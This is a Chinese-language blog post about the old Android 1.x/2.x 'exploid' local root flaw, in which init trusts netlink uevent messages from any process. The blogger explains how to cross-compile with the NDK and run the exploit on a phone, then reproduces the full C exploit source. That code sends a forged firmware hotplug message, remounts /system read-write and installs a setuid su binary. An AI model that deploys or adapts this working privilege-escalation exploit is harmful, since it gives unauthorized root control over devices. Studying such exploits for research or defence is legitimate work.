漏洞属于Linux内核级别的漏洞,在android 1.x/2.x版本中同样存在,可以用于系统提权。
Android中使用了udev及机制来执行热插拔,不过它的机制是在init code中实现的,与普通的Linux版本有所不同。其机制是,当有一个设备插入android终端后,会通过socket给init发送一个消息,消息里包含了执行动作的描述,通常是创建某种设备文件,因此init在执行这些操作时,使用的是root权限。问题在于,udev机制中并没有检查消息的来源是否来自内核。如果一个普通的应用给init发送一个udev消息,消息中的动作同样会被以root权限执行。
有幸在http://www.exploit-db.com/exploits/16099/上找到了利用代码源码,在本博文的最后也会将源码贴出。下面大概对利用过程进行一下说明。
这是一个c文件,因此想要编译链接成功这个代码的话需要交叉编译环境。我下载使用的是ndk-r8,交叉编译工具在
$NDK根路径\toolchains\arm-linux-androideabi-4.7\prebuilt\windows\bin
此处的arm-linux-androideabi-4.7应该是交叉编译工具的版本,博主不很明了各个的区别,但是至少应该选择arm-linux-androideabi-为起始的。
这里可以
(1). 直接用以上路径文件夹下的gcc运行类似
gcc -c -o test test.c
的命令进行编译连接。
(2). 书写Android.mk文件如下:
LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) LOCAL_MODULE := test LOCAL_SRC_FILES := test.c include $(BUILD_EXECUTABLE)
并将Android.mk和test.c文件放到命名为jni的文件夹中,并运行“ndk-build”命令。则将在“jni上层目录\obj\local\armeabi”编译连接出二进制文件。
此处又有三点需要说明
- 在编译源码之前需要进入手机的adb shell中,输入mount命令,查看system分区的具体信息,如下图,并根据信息,更改源码113行左右的函数参数。博主认为直接利用execl函数完成命令“mount -o remount,rw '' system”可以避免这个繁琐的修改过程,不过博主没有验证。
- 如果不将Android.mk和test.c置于jni文件夹下,将有如下报错:
Android NDK: Could not find application project directory ! Android NDK: Please define the NDK_PROJECT_PATH variable to point to it. E:\adt-bundle-windows-x86\android-ndk-r8d\build/core/build-local.mk:130: *** Android NDK: Aborting. Stop.和ndk环境没有配置成功一般。
- Android.mk中的这句
include $(BUILD_EXECUTABLE)
大意是将用于建立可执行文件的库文件引入,如果想要编译的是.so文件,则将这句换为
include $(BUILD_SHARED_LIBRARY)
以上不管哪种方法,生成的可执行文件,更改文件属性为755(Linux环境下更改,博主在windows下利用cygwin更改后传入无用,有些手机中也可以先传入手机再更改,但是在普通用户权限下不一定被允许更改文件属性)。将文件利用adb命令传入Android手机,注意,这里引用作者的说法“* This exploit requires /etc/firmware directory, e.g.
it will run on real devices and not inside the emulator.”,更加深入的原因博主也未作深入研究。然后运行调用运行test文件即可。运行结果如下图
然后用户进入打开“飞行模式”“wifi”等方式就可以出发漏洞,将system分区挂在为读写,并将事先复制到sdcards中的su和Superuser.apk文件发复制到到system中。博主再次运行了mount命令进行验证。
最后说明,本次漏洞验证环境是htc g3(T^T穷娃娃用这种破手机做测试。。。),刷了2.2系统不成功,2.1下完美。华为C8650和U8860系统均为2.3.X,运行无效。
对于源码的具体分析由于博主能力有限,不做具体分析了。
/* android 1.x/2.x the real youdev feat. init local root exploit. * (C) 2009/2010 by The Android Exploid Crew. * * Copy from sdcard to /sqlite_stmt_journals/exploid, chmod 0755 and run. * Or use /data/local/tmp if available (thx to ioerror!) It is important to * to use /sqlite_stmt_journals directory if available. * Then try to invoke hotplug by clicking Settings->Wireless->{Airplane,WiFi etc} * or use USB keys etc. This will invoke hotplug which is actually * our exploit making /system/bin/rootshell. * This exploit requires /etc/firmware directory, e.g. it will * run on real devices and not inside the emulator. * I'd like to have this exploitet by using the same blockdevice trick * as in udev, but internal structures only allow world writable char * devices, not block devices, so I used the firmware subsystem. * * !!!This is PoC code for educational purposes only!!! * If you run it, it might crash your device and make it unusable! * So you use it at your own risk! * * Thx to all the TAEC supporters. */ #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <linux/netlink.h> #include <fcntl.h> #include <errno.h> #include <stdlib.h> #include <string.h> #include <string.h> #include <unistd.h> #include <sys/stat.h> #include <signal.h> #include <sys/mount.h> #define SECRET "secretlol" void die(const char *msg) { perror(msg); exit(errno); } void copy(const char *from, const char *to) { int fd1, fd2; char buf[0x1000]; ssize_t r = 0; if ((fd1 = open(from, O_RDONLY)) < 0) die("[-] open"); if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) die("[-] open"); for (;;) { r = read(fd1, buf, sizeof(buf)); if (r < 0) die("[-] read"); if (r == 0) break; if (write(fd2, buf, r) != r) die("[-] write"); } close(fd1); close(fd2); sync(); sync(); } void clear_hotplug() { int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC); write(ofd, "", 1); close(ofd); } int main(int argc, char **argv, char **env) { char buf[512], path[512]; int ofd; struct sockaddr_nl snl; struct iovec iov = {buf, sizeof(buf)}; struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0}; int sock; char *basedir = NULL; /* I hope there is no LD_ bug in androids rtld */ /*if (geteuid() == 0 && getuid() != 0) rootshell(env);*/ if (readlink("/proc/self/exe", path, sizeof(path)) < 0) die("[-] readlink"); if (geteuid() == 0) { clear_hotplug(); /* remount /system rw */ //DROID 1 and Ally //mount("/dev/block/mtdblock4", "/system", "yaffs2", MS_REMOUNT, 0); //DROID X //mount("/dev/block/mmcblk1p21", "/system", "ext3", MS_REMOUNT, 0); //GALAXY S mount("/dev/block/stl9","/system", "rfs", MS_REMOUNT, 0); //Eris and HTC Hero //mount("/dev/block/mtdblock3", "/system", "yaffs2", MS_REMOUNT, 0); //copy("/sdcard/su","/system/bin/su"); //copy("/sdcard/Superuser.apk","/system/app/Superuser.apk"); copy("/data/data/com.unstableapps.easyroot/files/su","/system/bin/su"); copy("/data/data/com.unstableapps.easyroot/files/Superuser.apk","/system/app/Superuser.apk"); chmod("/system/bin/su", 04755); chmod("/system/app/Superuser.apk", 04744); for (;;); } //basedir = "/sqlite_stmt_journals"; basedir = "/data/data/com.unstableapps.easyroot/files"; if (chdir(basedir) < 0) { basedir = "/data/local/tmp"; if (chdir(basedir) < 0) basedir = strdup(getcwd(buf, sizeof(buf))); } memset(&snl, 0, sizeof(snl)); snl.nl_pid = 1; snl.nl_family = AF_NETLINK; if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0) die("[-] socket"); close(creat("loading", 0666)); if ((ofd = creat("hotplug", 0644)) < 0) die("[-] creat"); if (write(ofd, path , strlen(path)) < 0) die("[-] write"); close(ofd); symlink("/proc/sys/kernel/hotplug", "data"); snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c" "SUBSYSTEM=firmware%c" "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0); printf("[+] sending add message ...\n"); if (sendmsg(sock, &msg, 0) < 0) die("[-] sendmsg"); close(sock); sleep(3); return 0; }